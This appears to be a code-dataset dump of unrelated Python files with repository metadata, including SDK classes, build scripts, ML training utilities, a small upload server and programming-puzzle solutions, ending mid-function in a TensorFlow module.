[ "BSD-3-Clause" ]
null
null
null
""" I am a plain old module with no interesting dependencies or import machinery fiddlery. """ import math def get_sentinel_value(): # Some proof we're even talking to the mitogen-test Docker image return open('/etc/sentinel').read() def add(x, y): return x + y def pow(x, y): return x ** y
15.7
76
0.671975
0
0
0
0
0
0
0
0
173
0.550955
342dccf6ed1521b4555d6a3ff1a444d71531b5f9
2,997
py
Python
alipay/aop/api/domain/PaidOuterCardTemplateConfDTO.py
antopen/alipay-sdk-python-all
8e51c54409b9452f8d46c7bb10eea7c8f7e8d30c
[ "Apache-2.0" ]
null
null
null
alipay/aop/api/domain/PaidOuterCardTemplateConfDTO.py
antopen/alipay-sdk-python-all
8e51c54409b9452f8d46c7bb10eea7c8f7e8d30c
[ "Apache-2.0" ]
null
null
null
alipay/aop/api/domain/PaidOuterCardTemplateConfDTO.py
antopen/alipay-sdk-python-all
8e51c54409b9452f8d46c7bb10eea7c8f7e8d30c
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- import json from alipay.aop.api.constant.ParamConstants import * from alipay.aop.api.domain.PaidOuterCardCycleSellConfDTO import PaidOuterCardCycleSellConfDTO from alipay.aop.api.domain.PaidOuterCardManageUrlConfDTO import PaidOuterCardManageUrlConfDTO from alipay.aop.api.domain.PaidOuterCardSellingConfDTO import PaidOuterCardSellingConfDTO class PaidOuterCardTemplateConfDTO(object): def __init__(self): self._cycle_selling_conf = None self._manage_url_conf = None self._open_selling_conf = None @property def cycle_selling_conf(self): return self._cycle_selling_conf @cycle_selling_conf.setter def cycle_selling_conf(self, value): if isinstance(value, PaidOuterCardCycleSellConfDTO): self._cycle_selling_conf = value else: self._cycle_selling_conf = PaidOuterCardCycleSellConfDTO.from_alipay_dict(value) @property def manage_url_conf(self): return self._manage_url_conf @manage_url_conf.setter def manage_url_conf(self, value): if isinstance(value, PaidOuterCardManageUrlConfDTO): self._manage_url_conf = value else: self._manage_url_conf = PaidOuterCardManageUrlConfDTO.from_alipay_dict(value) @property def open_selling_conf(self): return self._open_selling_conf @open_selling_conf.setter def open_selling_conf(self, value): if isinstance(value, PaidOuterCardSellingConfDTO): self._open_selling_conf = value else: self._open_selling_conf = PaidOuterCardSellingConfDTO.from_alipay_dict(value) def to_alipay_dict(self): params = dict() if self.cycle_selling_conf: if hasattr(self.cycle_selling_conf, 'to_alipay_dict'): params['cycle_selling_conf'] = self.cycle_selling_conf.to_alipay_dict() else: params['cycle_selling_conf'] = self.cycle_selling_conf if self.manage_url_conf: if hasattr(self.manage_url_conf, 'to_alipay_dict'): params['manage_url_conf'] = self.manage_url_conf.to_alipay_dict() else: params['manage_url_conf'] = self.manage_url_conf if self.open_selling_conf: if hasattr(self.open_selling_conf, 'to_alipay_dict'): params['open_selling_conf'] = self.open_selling_conf.to_alipay_dict() else: params['open_selling_conf'] = self.open_selling_conf return params @staticmethod def from_alipay_dict(d): if not d: return None o = PaidOuterCardTemplateConfDTO() if 'cycle_selling_conf' in d: o.cycle_selling_conf = d['cycle_selling_conf'] if 'manage_url_conf' in d: o.manage_url_conf = d['manage_url_conf'] if 'open_selling_conf' in d: o.open_selling_conf = d['open_selling_conf'] return o
36.108434
93
0.68335
2,602
0.868202
0
0
1,484
0.495162
0
0
316
0.105439
342de811bc99973f044dafb400a3ec144fec6901
2,092
py
Python
1441. Build an Array With Stack Operations.py
alijon30/Leetcode
73e8171945e1fcbc59e76f79667c9ea130db27e9
[ "Unlicense" ]
null
null
null
1441. Build an Array With Stack Operations.py
alijon30/Leetcode
73e8171945e1fcbc59e76f79667c9ea130db27e9
[ "Unlicense" ]
null
null
null
1441. Build an Array With Stack Operations.py
alijon30/Leetcode
73e8171945e1fcbc59e76f79667c9ea130db27e9
[ "Unlicense" ]
null
null
null
You are given an array target and an integer n. In each iteration, you will read a number from list = [1, 2, 3, ..., n]. Build the target array using the following operations: "Push": Reads a new element from the beginning list, and pushes it in the array. "Pop": Deletes the last element of the array. If the target array is already built, stop reading more elements. Return a list of the operations needed to build target. The test cases are generated so that the answer is unique. Example 1: Input: target = [1,3], n = 3 Output: ["Push","Push","Pop","Push"] Explanation: Read number 1 and automatically push in the array -> [1] Read number 2 and automatically push in the array then Pop it -> [1] Read number 3 and automatically push in the array -> [1,3] Example 2: Input: target = [1,2,3], n = 3 Output: ["Push","Push","Push"] Example 3: Input: target = [1,2], n = 4 Output: ["Push","Push"] Explanation: You only need to read the first 2 numbers and stop. class Solution: def buildArray(self, target: List[int], n: int) -> List[str]: stack = Stack() final = [] for i in range(1, target[-1]+1): if i in target: stack.push(i) final.append("Push") else: stack.push(i) stack.pop() final.append("Push") final.append("Pop") return final class Stack: def __init__(self): self.list = [] def __str__(self): values = [str(value) for value in self.list] return ''.join(values) def push(self, value): self.list.append(value) def isEmpty(self): if self.list == []: return True else: return False def pop(self): if self.isEmpty(): return "The stack is empty" else: return self.list.pop() def peek(self): if self.isEmpty(): return "The stack is empty" else: return self.list[-1]
26.15
114
0.565966
623
0.297801
0
0
0
0
0
0
123
0.058795
342f65e39746a7ae0296639e43f5738b3e8116d0
1,264
py
Python
third_party/libtcod/.ci/conan_build.py
csb6/libtcod-ada
89c2a75eb357a8468ccb0a6476391a6b388f00b4
[ "BSD-3-Clause" ]
686
2018-07-01T15:49:10.000Z
2022-03-30T14:13:40.000Z
third_party/libtcod/.ci/conan_build.py
csb6/libtcod-ada
89c2a75eb357a8468ccb0a6476391a6b388f00b4
[ "BSD-3-Clause" ]
99
2018-10-23T17:02:08.000Z
2022-03-29T18:47:47.000Z
third_party/libtcod/.ci/conan_build.py
csb6/libtcod-ada
89c2a75eb357a8468ccb0a6476391a6b388f00b4
[ "BSD-3-Clause" ]
76
2018-07-29T03:51:42.000Z
2022-03-26T03:10:10.000Z
#!/usr/bin/env python3 """Build script for conan-package-tools: https://github.com/conan-io/conan-package-tools """ import os import subprocess from cpt.packager import ConanMultiPackager try: version = subprocess.check_output( ["git", "describe", "--abbrev=0"], universal_newlines=True ) except subprocess.CalledProcessError: version = "0.0" if __name__ == "__main__": if "CI" in os.environ: os.environ["CONAN_SYSREQUIRES_MODE"] = "enabled" # Fix GitHub Actions version tag. if os.environ.get("GITHUB_REF", "").startswith("refs/tags/"): version = os.environ["GITHUB_REF"].replace("refs/tags/", "") builder = ConanMultiPackager( username="hexdecimal", channel="conan", upload="https://api.bintray.com/conan/hexdecimal/conan", upload_only_when_tag=True, reference="libtcod/" + version, remotes=[ "https://conan.bintray.com", "https://api.bintray.com/conan/bincrafters/public-conan", ], cppstds=["14"], visual_runtimes=["MD", "MDd"], # test_folder="tests/", build_policy="missing", upload_dependencies="all", ) builder.add_common_builds(pure_c=False) builder.run()
29.395349
72
0.626582
0
0
0
0
0
0
0
0
488
0.386076
342f8555d424c554a10a704d33b1cac436a6cb38
221
py
Python
introduction-to-data-visualization-in-python/3. Statistical plots with Seaborn/script_11.py
nhutnamhcmus/datacamp-playground
25457e813b1145e1d335562286715eeddd1c1a7b
[ "MIT" ]
1
2021-05-08T11:09:27.000Z
2021-05-08T11:09:27.000Z
introduction-to-data-visualization-in-python/3. Statistical plots with Seaborn/script_11.py
nhutnamhcmus/datacamp-playground
25457e813b1145e1d335562286715eeddd1c1a7b
[ "MIT" ]
1
2022-03-12T15:42:14.000Z
2022-03-12T15:42:14.000Z
introduction-to-data-visualization-in-python/3. Statistical plots with Seaborn/script_11.py
nhutnamhcmus/datacamp-playground
25457e813b1145e1d335562286715eeddd1c1a7b
[ "MIT" ]
1
2021-04-30T18:24:19.000Z
2021-04-30T18:24:19.000Z
# Plotting distributions pairwise (1) # Print the first 5 rows of the DataFrame print(auto.head()) # Plot the pairwise joint distributions from the DataFrame sns.pairplot(auto) # Display the plot plt.show()
20.090909
60
0.723982
0
0
0
0
0
0
0
0
159
0.719457
342f8c75702c2f5eb9f5b18d688431c38ef406f7
472
py
Python
terraform_model/model/SQSQueuePolicy.py
rubelw/terraform-validator
a9d0335a532acdb4070e5537155b03b34915b73e
[ "MIT" ]
7
2018-11-18T00:29:55.000Z
2020-05-18T13:23:37.000Z
terraform_model/model/SQSQueuePolicy.py
rubelw/terraform-validator
a9d0335a532acdb4070e5537155b03b34915b73e
[ "MIT" ]
1
2021-05-26T06:58:46.000Z
2021-05-26T06:58:46.000Z
terraform_model/model/SQSQueuePolicy.py
rubelw/terraform-validator
a9d0335a532acdb4070e5537155b03b34915b73e
[ "MIT" ]
2
2019-10-23T15:22:52.000Z
2020-06-22T07:00:45.000Z
from __future__ import absolute_import, division, print_function from terraform_model.model.ModelElement import ModelElement class SQSQueuePolicy(ModelElement): """ SQS Queue Policy Model """ def __init__(self, cfn_model): """ Initialize :param cfn_model: """ ModelElement.__init__(self, cfn_model) self.queues= [] self.policy_document = None self.resource_type = 'AWS::SQS::QueuePolicy'
24.842105
64
0.654661
345
0.730932
0
0
0
0
0
0
122
0.258475
342f9f4a6979c8b7cf15542baa02e9212c5fdc92
931
py
Python
import_pem_certificate/panos/pem_cert_import.py
silliker-paloaltonetworks/IdentitySkillets
8a493026dfc53cd2c0d7ca398ce823ab315dc785
[ "Apache-2.0" ]
null
null
null
import_pem_certificate/panos/pem_cert_import.py
silliker-paloaltonetworks/IdentitySkillets
8a493026dfc53cd2c0d7ca398ce823ab315dc785
[ "Apache-2.0" ]
null
null
null
import_pem_certificate/panos/pem_cert_import.py
silliker-paloaltonetworks/IdentitySkillets
8a493026dfc53cd2c0d7ca398ce823ab315dc785
[ "Apache-2.0" ]
null
null
null
import requests import argparse import urllib3 from urllib3.exceptions import InsecureRequestWarning urllib3.disable_warnings(InsecureRequestWarning) parser = argparse.ArgumentParser() parser.add_argument("--TARGET_IP", help="IP address of the firewall", type=str) parser.add_argument("--api_key", help="Firewall API Key", type=str) parser.add_argument("--CERT_NAME", help="Certificate Label", type=str) parser.add_argument("--CERT_FILE", help="Certificate File Name", type=str) args = parser.parse_args() target_ip = args.TARGET_IP api_key = args.api_key cert_name = args.CERT_NAME cert_file = args.CERT_FILE url = 'https://{}/api/?type=import&format=pem&category=certificate&certificate-name={}&key={}'.format(target_ip, cert_name, api_key) files = {'file': ( cert_file, open('../../working/' + cert_file, 'rb'), 'application/octet-string', {'Expires': '0'})} r = requests.post(url, files=files, verify=False) print(r.text)
37.24
132
0.755102
0
0
0
0
0
0
0
0
290
0.311493
3430dc2aab0b9a66724eea76329a3c8960caccb6
1,640
py
Python
day06/ftp_server.py
zhangyage/Python-oldboy
a95c1b465929e2be641e425fcb5e15b366800831
[ "Apache-2.0" ]
1
2020-06-04T08:44:09.000Z
2020-06-04T08:44:09.000Z
day06/ftp_server.py
zhangyage/Python-oldboy
a95c1b465929e2be641e425fcb5e15b366800831
[ "Apache-2.0" ]
null
null
null
day06/ftp_server.py
zhangyage/Python-oldboy
a95c1b465929e2be641e425fcb5e15b366800831
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python # -*- coding:utf-8 -*- ''' G:/temp 目录要提前创建一下,做为ftp的根目录 ''' import SocketServer import os class MyServer(SocketServer.BaseRequestHandler): def handle(self): base_path = 'G:/temp' conn = self.request print 'connected...' while True: pre_data = conn.recv(1024) #获取请求的方法、文件名、文件大小 cmd,file_name,file_size=pre_data.split('|') #已经接受的文件大小 recv_size = 0 #上传文件路径拼接 file_dir = os.path.join(base_path,file_name) f = file(file_dir,'wb') Flag = True while Flag: #未上传完成 if int(file_size) > recv_size: #最多接收1024,可能接收的小于1024 data = conn.recv(1024) recv_size+=len(data) #上传完毕退出循环 else: recv_size = 0 Flag = False continue f.write(data) print 'upload successed.' f.close() instance = SocketServer.ThreadingTCPServer(('127.0.0.1',9000),MyServer) instance.serve_forever()
22.777778
71
0.35122
1,086
0.607383
0
0
0
0
0
0
360
0.201342
34340897da5907a0ab3f5d7121dc238008840d87
3,037
py
Python
built-in/ACL_PyTorch/Official/cv/STGCN_for_Pytorch/st_gcn_export.py
Ascend/modelzoo
f018cfed33dbb1cc2110b9ea2e233333f71cc509
[ "Apache-2.0" ]
12
2020-12-13T08:34:24.000Z
2022-03-20T15:17:17.000Z
built-in/ACL_PyTorch/Official/cv/STGCN_for_Pytorch/st_gcn_export.py
Ascend/modelzoo
f018cfed33dbb1cc2110b9ea2e233333f71cc509
[ "Apache-2.0" ]
1
2022-01-20T03:11:05.000Z
2022-01-20T06:53:39.000Z
built-in/ACL_PyTorch/Official/cv/STGCN_for_Pytorch/st_gcn_export.py
Ascend/modelzoo
f018cfed33dbb1cc2110b9ea2e233333f71cc509
[ "Apache-2.0" ]
2
2021-07-10T12:40:46.000Z
2021-12-17T07:55:15.000Z
# ============================================================================ # Copyright 2018-2019 Open-MMLab. All rights reserved. # Apache License # Version 2.0, January 2004 # http://www.apache.org/licenses/ # # TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================ # Copyright 2021 Huawei Technologies Co., Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import argparse import torch from mmskeleton.utils import call_obj, load_checkpoint def pt2onnx(): """ST-GCN export script to convert pt model to ONNX model. Args: -ckpt: input checkpoint file path -onnx: output onnx file path -batch_size: define batch_size of the model Returns: Null. export onnx model with the input parameter -onnx """ # define input parameter parser = argparse.ArgumentParser( description='ST-GCN Pytorch model convert to ONNX model') parser.add_argument('-ckpt', default='./checkpoints/st_gcn.kinetics-6fa43f73.pth', help='input checkpoint file path') parser.add_argument('-onnx', default='./st-gcn_kinetics-skeleton_bs1.onnx', help='output onnx file path') parser.add_argument('batch_size', default=1, help='define batch_size of the model') args = parser.parse_args() model_cfg = {'type': 'models.backbones.ST_GCN_18', 'in_channels': 3, 'num_class': 400, 'edge_importance_weighting': True, 'graph_cfg': {'layout': 'openpose', 'strategy': 'spatial'}} model = call_obj(**model_cfg) print("========= ST_GCN model ========") print(model) print("===============================") load_checkpoint(model, args.checkpoint, map_location='cpu') model.eval() input_name = ["input1"] output_name = ["output1"] dummy_input = torch.randn(int(args.batch_size), 3, 300, 18, 2, device='cpu') torch.onnx.export(model, dummy_input, args.onnx, input_names=input_name, output_names=output_name) if __name__ == "__main__": pt2onnx()
40.493333
80
0.62891
0
0
0
0
0
0
0
0
2,103
0.69246
34347bd2feb78a4ffa8841007ef085baa9d77a5e
1,232
py
Python
project-euler/solutions/015.py
ikumen/problems-solvers
c1847b09babbef344b2043b575fc81fed5809725
[ "MIT" ]
null
null
null
project-euler/solutions/015.py
ikumen/problems-solvers
c1847b09babbef344b2043b575fc81fed5809725
[ "MIT" ]
null
null
null
project-euler/solutions/015.py
ikumen/problems-solvers
c1847b09babbef344b2043b575fc81fed5809725
[ "MIT" ]
null
null
null
#!/usr/bin/env python ''' 015.py: https://projecteuler.net/problem=15 Lattice paths Starting in the top left corner of a 2×2 grid, and only being able to move to the right and down, there are exactly 6 routes to the bottom right corner. How many such routes are there through a 20×20 grid? ''' import os import pytest import time def find_num_of_paths(w, h): '''finds the number of paths through a grid of w x h size. Constraints are, you can only move right to down. Starting position is [0][0], ending at [w][h].''' if w <= 0 or h <= 0: return 0 matrix = [[1]*(w+1) for i in range(h+1)] for n in range(w+1): for m in range(h+1): if m == 0 and n == 0: pass elif n-1 < 0: matrix[n][m] = matrix[n][m-1] elif m-1 < 0: matrix[n][m] = matrix[n-1][m] else: matrix[n][m] = (matrix[n-1][m] + matrix[n][m-1]) return matrix[w][h] def test_find_num_of_paths(): '''Test''' assert 2 == find_num_of_paths(1, 1) assert 6 == find_num_of_paths(2,2) assert 0 == find_num_of_paths(0, 0) def main(): '''Main runner, delegates to solution.''' print(find_num_of_paths(20, 20)) if __name__ == '__main__': start_time = time.time() main() print("--- %s seconds ---" % (time.time() - start_time))
23.245283
152
0.642045
0
0
0
0
0
0
0
0
537
0.43517
343576eb2232f5d20995f69fd9ccf799d7a0a593
6,635
py
Python
allthingsnlp/ml_classifier.py
Pranavj94/All-things-NLP
009e63e35611679afb54ca981675019679179fd3
[ "Apache-2.0" ]
null
null
null
allthingsnlp/ml_classifier.py
Pranavj94/All-things-NLP
009e63e35611679afb54ca981675019679179fd3
[ "Apache-2.0" ]
null
null
null
allthingsnlp/ml_classifier.py
Pranavj94/All-things-NLP
009e63e35611679afb54ca981675019679179fd3
[ "Apache-2.0" ]
1
2021-07-27T05:53:36.000Z
2021-07-27T05:53:36.000Z
import numpy as np import pandas as pd import warnings warnings.filterwarnings("ignore") from sklearn.model_selection import StratifiedKFold,train_test_split from sklearn.feature_extraction.text import TfidfVectorizer from sklearn import linear_model from sklearn.metrics import precision_recall_fscore_support,accuracy_score from sklearn.tree import DecisionTreeClassifier from sklearn.ensemble import RandomForestClassifier from catboost import CatBoostClassifier from sklearn.model_selection import RandomizedSearchCV from scipy.stats import loguniform import xgboost as xgb class ml_classifier: """ This module trains and tunes different machine learning models and compares the results. """ def __init__(self,input_df,text_feature,target): self.input_df=input_df self.text_feature=text_feature self.target=target # Function to train and compare different models def compare_models(self,optimize='F1'): X = np.array(self.input_df[self.text_feature]) y = np.array(self.input_df[self.target]) # Creating model dictionary model_list=['Logistic Regression','Decision Tree'] #model_list=['Random Forest','CatBoost'] model_results = dict() for model in model_list: model_results[model]={'Accuracy':list(),'Precision':list(),'Recall':list(),'F1':list()} skf = StratifiedKFold(n_splits=2,shuffle=True) split=0 for train_index, test_index in skf.split(X, y): split+=1 X_train, X_test = X[train_index], X[test_index] y_train, y_test = y[train_index], y[test_index] vectorizer = TfidfVectorizer() train_features = vectorizer.fit_transform(X_train) test_features = vectorizer.transform(X_test) for model in model_list: print(f'Training {model} for split {split}') if model == 'Logistic Regression': lr_clr = linear_model.LogisticRegression() lr_clr.fit(train_features, y_train) y_pred=lr_clr.predict(test_features) elif model == 'Decision Tree': dt_clf = DecisionTreeClassifier(random_state=0) dt_clf.fit(train_features, y_train) y_pred=dt_clf.predict(test_features) elif model == 'Random Forest': rf_clf = RandomForestClassifier(random_state=42) rf_clf.fit(train_features, y_train) y_pred=rf_clf.predict(test_features) elif model == 'XGBoost': xgb_clf = xgb.XGBClassifier(random_state=42) xgb_clf.fit(train_features, y_train) y_pred=xgb_clf.predict(test_features) elif model == 'CatBoost': cat_clf=CatBoostClassifier(random_state=42) cat_clf.fit(train_features, y_train) y_pred=cat_clf.predict(test_features) model_results[model]['Accuracy'].append(accuracy_score(y_test, y_pred)) model_results[model]['Precision'].append(precision_recall_fscore_support(y_test, y_pred, average='macro')[0]) model_results[model]['Recall'].append(precision_recall_fscore_support(y_test, y_pred, average='macro')[1]) model_results[model]['F1'].append(precision_recall_fscore_support(y_test, y_pred, average='macro')[2]) output_df=pd.DataFrame(columns=['Model','Accuracy','Precision','Recall','F1']) for model in model_results.keys(): df_length = len(output_df) Accuracy=round(sum(model_results[model]['Accuracy'])/len(model_results[model]['Accuracy']),2) Precision=round(sum(model_results[model]['Precision'])/len(model_results[model]['Precision']),2) Recall=round(sum(model_results[model]['Recall'])/len(model_results[model]['Recall']),2) F1=round(sum(model_results[model]['F1'])/len(model_results[model]['F1']),2) output_df.loc[df_length] = [model,Accuracy,Precision,Recall,F1] # Sort based on optimization parameter output_df=output_df.sort_values(by=[optimize],ascending=False) return(output_df) def train_model(self,estimator='lr'): """ Train and hypertune estimators """ train_features = np.array(self.input_df[self.text_feature]) vectorizer = TfidfVectorizer() train_features = vectorizer.fit_transform(train_features) y = np.array(self.input_df[self.target]) # define evaluation cv = StratifiedKFold(n_splits=2, random_state=1,shuffle=True) if estimator=='lr': model = linear_model.LogisticRegression() # define search space space = dict() space['solver'] = ['newton-cg', 'lbfgs', 'liblinear'] space['penalty'] = ['none', 'l1', 'l2', 'elasticnet'] space['C'] = loguniform(1e-5, 100) elif estimator=='dt': model = DecisionTreeClassifier() space = {'criterion':['gini','entropy'],'max_depth':range(1,10),'min_samples_leaf':range(1,5),'min_samples_split':range(1,10)} elif estimator=='rf': model= RandomForestClassifier() space={'bootstrap': [True, False],'max_depth': [10, 20, 30, 40, 50, 60, 70, 80, 90, 100, None], 'max_features': ['auto', 'sqrt'], 'min_samples_leaf': [1, 2, 4], 'min_samples_split': [2, 5, 10], 'n_estimators': [200, 400]} elif estimator=='xgb': model= xgb.XGBClassifier() space= {'min_child_weight': [1, 5, 10],'gamma': [0.5, 1, 1.5, 2, 5],'subsample': [0.6, 0.8, 1.0], 'colsample_bytree': [0.6, 0.8, 1.0], 'max_depth': [3, 4, 5],'n_estimators': [200, 400]} search = RandomizedSearchCV(model, space, n_iter=10, scoring='accuracy', n_jobs=-1, cv=cv, random_state=1) # execute search result = search.fit(train_features, y) return(result)
40.457317
138
0.576036
5,986
0.902185
0
0
0
0
0
0
1,082
0.163075
3435b467c87163b62b24709bf0d8899cc2810bb3
2,878
py
Python
project_common/tests/test_abc.py
KostyaEsmukov/airflow-docker
abf7c50cec71f5153148738d13401546cef9f60c
[ "MIT" ]
null
null
null
project_common/tests/test_abc.py
KostyaEsmukov/airflow-docker
abf7c50cec71f5153148738d13401546cef9f60c
[ "MIT" ]
null
null
null
project_common/tests/test_abc.py
KostyaEsmukov/airflow-docker
abf7c50cec71f5153148738d13401546cef9f60c
[ "MIT" ]
null
null
null
from contextlib import ExitStack from typing import Any from unittest.mock import patch import click import pendulum import pytest from airflow import DAG, configuration, macros from click.testing import CliRunner import project_common.abc from project_common.abc import AirflowContext, AirflowTask, create_cli class DummyTask(AirflowTask): def execute(self): pass @pytest.fixture def airflow_context(): return { "dag": DAG("test-dag"), "next_ds": "2018-10-28", "prev_ds": "2018-10-28", "ds_nodash": "20181028", "ts": "2018-10-28T16:24:36.908747+00:00", "ts_nodash": "20181028T162436.908747+0000", "yesterday_ds": "2018-10-27", "yesterday_ds_nodash": "20181027", "tomorrow_ds": "2018-10-29", "tomorrow_ds_nodash": "20181029", "END_DATE": "2018-10-28", "end_date": "2018-10-28", # 'dag_run': <DagRun synctogit-next @ 2018-10-28 16:24:36.908747+00:00: scheduled__2018-10-28T16:24:36.908747+00:00, externally triggered: False>, # noqa "run_id": "scheduled__2018-10-28T16:24:36.908747+00:00", "execution_date": pendulum.datetime(2018, 10, 28, 16, 24, 36), "prev_execution_date": pendulum.datetime(2018, 10, 28, 15, 54, 36), "next_execution_date": pendulum.datetime(2018, 10, 28, 16, 54, 36), "latest_date": "2018-10-28", "macros": macros, "params": {}, "tables": None, # 'task': <Task(PythonOperator): evernote>, # 'task_instance': <TaskInstance: synctogit-next.evernote 2018-10-28T16:24:36.908747+00:00 [running]>, # noqa # 'ti': <TaskInstance: synctogit-next.evernote 2018-10-28T16:24:36.908747+00:00 [running]>, # noqa "task_instance_key_str": "synctogit-next__evernote__20181028", "conf": configuration, "test_mode": False, "var": {"value": None, "json": None}, "inlets": [], "outlets": [], "templates_dict": None, } def test_run_task(airflow_context): t = DummyTask(airflow_context) assert t.context.execution_date assert isinstance(t.context, AirflowContext) t() def test_click_defaults(): cli = create_cli() @cli.register_callback class DummyTask(AirflowTask): @click.option("--some", type=int) def __init__(self, context: Any, some: int = 42) -> None: super().__init__(context) self.some = some def execute(self): print(self.some) runner = CliRunner() with ExitStack() as stack: stack.enter_context(patch.object(project_common.abc, "logging")) stack.enter_context(patch.object(project_common.abc, "logger")) result = runner.invoke(cli._main, ["--execution_date=2018-10-20", "DummyTask"]) assert result.exit_code == 0 assert result.output.strip() == "42"
34.261905
162
0.633079
326
0.113273
0
0
1,898
0.659486
0
0
1,074
0.373176
3435e845672b2f3b296d955bb83a6ae255c500c9
1,708
py
Python
word2vec.py
doc-doc/HQGA
eecbbcb383b21f4f0f98b1b250e401aa59208eb3
[ "MIT" ]
16
2021-12-18T03:31:59.000Z
2022-03-08T08:30:56.000Z
word2vec.py
doc-doc/HQGA
eecbbcb383b21f4f0f98b1b250e401aa59208eb3
[ "MIT" ]
4
2022-01-19T03:17:33.000Z
2022-03-24T13:42:49.000Z
word2vec.py
doc-doc/HQGA
eecbbcb383b21f4f0f98b1b250e401aa59208eb3
[ "MIT" ]
null
null
null
from build_vocab import Vocabulary from utils import * import numpy as np import random as rd rd.seed(0) def word2vec(vocab, glove_file, save_filename): glove = load_file(glove_file) word2vec = {} for line in glove: line = line.split(' ') word2vec[line[0]] = np.array(line[1:]).astype(np.float32) temp = [] for word, vec in word2vec.items(): temp.append(vec) temp = np.asarray(temp) row, col = temp.shape # print(row, col) pad = np.mean(temp, axis=0) start = np.mean(temp[:int(row//2), :], axis=0) end = np.mean(temp[int(row//2):, :], axis=0) special_tokens = [pad, start, end] count = 0 bad_words = [] sort_idx_word = sorted(vocab.idx2word.items(), key=lambda k:k[0]) glove_embed = np.zeros((len(vocab), 300)) for row, item in enumerate(sort_idx_word): idx, word = item[0], item[1] if word in word2vec: glove_embed[row] = word2vec[word] else: if row < 3: glove_embed[row] = special_tokens[row] else: glove_embed[row] = np.random.randn(300)*0.4 print(word) bad_words.append(word) count += 1 print(glove_embed.shape) # save_file(bad_words, 'bad_words.json') np.save(save_filename, glove_embed) print(count) def main(): dataset, task = 'msvd', '' data_dir = f'dataset/{dataset}/{task}/' vocab_file = osp.join(data_dir, 'vocab.pkl') vocab = pkload(vocab_file) glove_file = '../data/glove.840B.300d.txt' save_filename = f'dataset/{dataset}/{task}/glove_embed.npy' word2vec(vocab, glove_file, save_filename) if __name__ == "__main__": main()
31.054545
69
0.601874
0
0
0
0
0
0
0
0
189
0.110656
3436ecb4e336a1144df7cab3accab468cc47ff09
139
py
Python
src/msys_opt/modules/sql.py
willi-z/msys-opt
2054931737893b4ea77a4ba2dbfb6a3e2bce7779
[ "BSD-3-Clause" ]
null
null
null
src/msys_opt/modules/sql.py
willi-z/msys-opt
2054931737893b4ea77a4ba2dbfb6a3e2bce7779
[ "BSD-3-Clause" ]
null
null
null
src/msys_opt/modules/sql.py
willi-z/msys-opt
2054931737893b4ea77a4ba2dbfb6a3e2bce7779
[ "BSD-3-Clause" ]
null
null
null
from msys.core import Module,Connectable, Type class SQL(Module): def __init__(self): super().__init__(inputs=[], outputs=[])
23.166667
47
0.676259
90
0.647482
0
0
0
0
0
0
0
0
3436f635d8613460ab87260b18e59734a16de86f
826
py
Python
Algorithms/5_Searching/11.py
abphilip-codes/Hackerrank_DSA
bb9e233d9d45c5b14c138830602695ad4113fba4
[ "MIT" ]
1
2021-11-25T13:39:30.000Z
2021-11-25T13:39:30.000Z
Algorithms/5_Searching/11.py
abphilip-codes/Hackerrank_DSA
bb9e233d9d45c5b14c138830602695ad4113fba4
[ "MIT" ]
null
null
null
Algorithms/5_Searching/11.py
abphilip-codes/Hackerrank_DSA
bb9e233d9d45c5b14c138830602695ad4113fba4
[ "MIT" ]
null
null
null
# https://www.hackerrank.com/challenges/short-palindrome/problem #!/bin/python3 import math import os import random import re import sys # # Complete the 'shortPalindrome' function below. # # The function is expected to return an INTEGER. # The function accepts STRING s as parameter. # def shortPalindrome(s): ans = mod = 10**9 + 7 a = [0] * 26 ** 1 b = [0] * 26 ** 2 c = [0] * 26 ** 3 for z in s: k = ord(z)-97 x = 26*k-1 y = k-26 for w in range(26): y+=26 x+=1 ans+=c[y] c[x]+=b[x] b[x]+=a[w] a[k]+=1 return ans%mod if __name__ == '__main__': fptr = open(os.environ['OUTPUT_PATH'], 'w') s = input() result = shortPalindrome(s) fptr.write(str(result) + '\n') fptr.close()
18.355556
64
0.531477
0
0
0
0
0
0
0
0
252
0.305085
34389301ce5392b10d296057f0337ea8bf7ae6e6
9,946
py
Python
efficientnet/border.py
kentslaney/efficientnet
0240ccb33ed0f56ffadc9ebc475860811fffd53f
[ "MIT" ]
null
null
null
efficientnet/border.py
kentslaney/efficientnet
0240ccb33ed0f56ffadc9ebc475860811fffd53f
[ "MIT" ]
null
null
null
efficientnet/border.py
kentslaney/efficientnet
0240ccb33ed0f56ffadc9ebc475860811fffd53f
[ "MIT" ]
null
null
null
# fits better in a StyleGAN or small network implementation, but provides a good # proof of concept (especially for things like fashion MNIST) import tensorflow as tf from .utils import Conv2D as SpecializedConv2D def nslice(rank, dim): start = tuple(slice(None) for i in range(dim)) end = tuple(slice(None) for i in range(rank - dim - 1)) def inner(*args): return start + (slice(*args),) + end return inner class Dimension(tf.Module): def __init__(self, rank, primary, kernel, stride, size=None, channels=1, channel_axis=None, disjoint=False, register=None, name=None): name = name or f"axis{primary}" super().__init__(name=name) self.rank, self.primary, self.kernel = rank, primary, kernel self.stride, self.size, self.disjoint = stride, size, disjoint self.channels, self.channel_axis = channels, channel_axis self.register = register or tf.Variable with self.name_scope: self.initialize() def expand(self, tensor): shape = tf.ones((self.rank,), dtype=tf.int64) shape = tf.tensor_scatter_nd_update(shape, [[self.primary]], [-1]) tensor = tf.reshape(tensor, shape) if self.channel_axis is not None: tensor = tf.repeat(tensor, self.channels, self.channel_axis) return tensor def group(self, tensor, start, prefix=False): flip = slice(None, None, -1) if prefix else slice(None) tensor = tf.concat((tensor, self.default((self.stride - 1,)))[flip], 0) end = tf.size(tensor) - (tf.size(tensor) - start) % self.stride return self.reduce(tf.reshape(tensor[start:end], (-1, self.stride)), 1) def consolidate(self, middle, start, end, dim=None, rank=None): if middle > 0: return middle, start, end dim = self.primary if dim is None else dim rank = self.rank if rank is None else rank empty = tf.constant([], shape=[int(i != dim) for i in range(rank)]) if middle == 0: return 0, empty, 